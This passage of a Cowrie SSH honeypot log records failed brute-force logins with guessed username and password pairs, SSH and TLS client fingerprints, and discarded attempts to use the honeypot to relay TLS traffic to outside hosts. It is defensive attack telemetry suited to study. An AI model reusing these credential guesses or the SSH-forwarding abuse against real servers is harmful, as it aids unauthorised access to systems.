to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x94\\xa7w\\x84(\\xb2\\xcc\\xa2n\\xc3~\\x8ac\\xf1|\\x16\\x9b\\\\\\xd4\\x1evdr\\xabd\\xe0IT\\xb8\\x8eL\\x92 d?\\xb2\\xdb\\x04<o\\xdbp=/\\xbd\\xf50\\xc9CZ:\\x10\\xc3\\xb3GW5<\\x12\\xbc$\\x00`]\\xef\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xba\\xb2p\\xc99\\xb0A\\x8b;\\x1e\\xb3\\xc5Fg8\\xa5\\x9c6\\xeaDe\\xb3\\x03\\x9fKsQL\\xc8\\xec@\\x05\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:06.413639Z","src_ip":"23.175.50.51","session":"369f0ff9560b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:06.507529Z","session":"7c65dbacbdb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:06.541535Z","src_ip":"173.208.188.210","session":"7c65dbacbdb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8d\\x14\\x82\\x8c\\xf9\\xc1J\\x10fF\\xf1\\xbf\\x15t\\xee\\x84\\xf8\\xb7\\x9e\\xa5a}\\x89\\x96f\\x1f2<\\xb0\\xf1\\x8f\\x02 {\\xfb\\xd9\\xc8\\x9a\\xc0f\\x94\\xa2\\x8d|\\xcf&H\\x9c\\xf8/\\xbfxK\\xbe$6HA\\xabYoN? \\x01\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x18\\xe1\\xa517\\x03u\\x94\\xe3(=\\xe5\\x0b\\x0b\\xcf\\xb3\\xbe\\xf0\\xa6\\x80\\xf4\\x0e\\x01\\x14%G\\x11\\x15\\xe4\\xa4\\xbeG\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8d\\x14\\x82\\x8c\\xf9\\xc1J\\x10fF\\xf1\\xbf\\x15t\\xee\\x84\\xf8\\xb7\\x9e\\xa5a}\\x89\\x96f\\x1f2<\\xb0\\xf1\\x8f\\x02 {\\xfb\\xd9\\xc8\\x9a\\xc0f\\x94\\xa2\\x8d|\\xcf&H\\x9c\\xf8/\\xbfxK\\xbe$6HA\\xabYoN? \\x01\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x18\\xe1\\xa517\\x03u\\x94\\xe3(=\\xe5\\x0b\\x0b\\xcf\\xb3\\xbe\\xf0\\xa6\\x80\\xf4\\x0e\\x01\\x14%G\\x11\\x15\\xe4\\xa4\\xbeG\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:06.544012Z","src_ip":"173.208.188.210","session":"7c65dbacbdb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:06.934124Z","src_ip":"91.92.40.36","session":"b77634535005","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:07.078177Z","session":"369f0ff9560b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:07.137070Z","src_ip":"23.175.50.51","session":"369f0ff9560b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03R:D|\\xe8=\\xec)\\xe0\\x06P\\xf2\\x87\\xc1\\xdc{\\xa0\\x88\\xc2\\x95\\xd08\\x15\\x85\\xb3M\\x85\\xeb\\x1d\\x8019 \\x82\\xd8\\xcc\\x12\\xf9\\x944zqE\\xad\\xf5\\n\\xc9\\x98pv\\xd0\\xccu\\x1ab4\\x86x}\\xc8\\x0c1\\xe3x\\x7f\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9fr\\xf2%\\xfd\\xbd\\xae\\x81\\x0e\\x7f\\x10\\xf7\\xa6\\xb0\\x7f\\x8b\\x8d/\\xe0\\x17M\\x81\\xd7\\xffi5\\x1bx\\xf3\\x02\\x13^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03R:D|\\xe8=\\xec)\\xe0\\x06P\\xf2\\x87\\xc1\\xdc{\\xa0\\x88\\xc2\\x95\\xd08\\x15\\x85\\xb3M\\x85\\xeb\\x1d\\x8019 \\x82\\xd8\\xcc\\x12\\xf9\\x944zqE\\xad\\xf5\\n\\xc9\\x98pv\\xd0\\xccu\\x1ab4\\x86x}\\xc8\\x0c1\\xe3x\\x7f\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9fr\\xf2%\\xfd\\xbd\\xae\\x81\\x0e\\x7f\\x10\\xf7\\xa6\\xb0\\x7f\\x8b\\x8d/\\xe0\\x17M\\x81\\xd7\\xffi5\\x1bx\\xf3\\x02\\x13^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:07.140462Z","src_ip":"23.175.50.51","session":"369f0ff9560b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48000,"dst_ip":"159.203.135.109","dst_port":22,"session":"06a2e61e8005","protocol":"ssh","message":"New connection: 91.92.40.36:48000 (159.203.135.109:22) [session: 06a2e61e8005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:09.371261Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"upload12345678","message":"login attempt [ubuntu/upload12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:09.844703Z","src_ip":"91.92.40.36","session":"9636b499e361","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:11.335874Z","src_ip":"91.92.40.36","session":"06a2e61e8005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:11.339805Z","src_ip":"91.92.40.36","session":"06a2e61e8005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:12.650148Z","src_ip":"91.92.40.36","session":"9636b499e361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.8","message":"Connection lost after 26.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:15.198092Z","src_ip":"23.175.50.51","session":"369f0ff9560b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48034,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b046657f14f","protocol":"ssh","message":"New connection: 91.92.40.36:48034 (159.203.135.109:22) [session: 5b046657f14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:15.231904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:17.689225Z","src_ip":"91.92.40.36","session":"5b046657f14f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:17.699603Z","src_ip":"91.92.40.36","session":"5b046657f14f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123qwerty","message":"login attempt [elasticsearch/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:20.310419Z","src_ip":"91.92.40.36","session":"06a2e61e8005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31606,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e8196958f01","protocol":"ssh","message":"New connection: 91.92.40.36:31606 (159.203.135.109:22) [session: 9e8196958f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:22.453888Z"}
{"eventid":"cowrie.session.closed","duration":"14.2","message":"Connection lost after 14.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:23.613263Z","src_ip":"91.92.40.36","session":"06a2e61e8005","protocol":"ssh"}
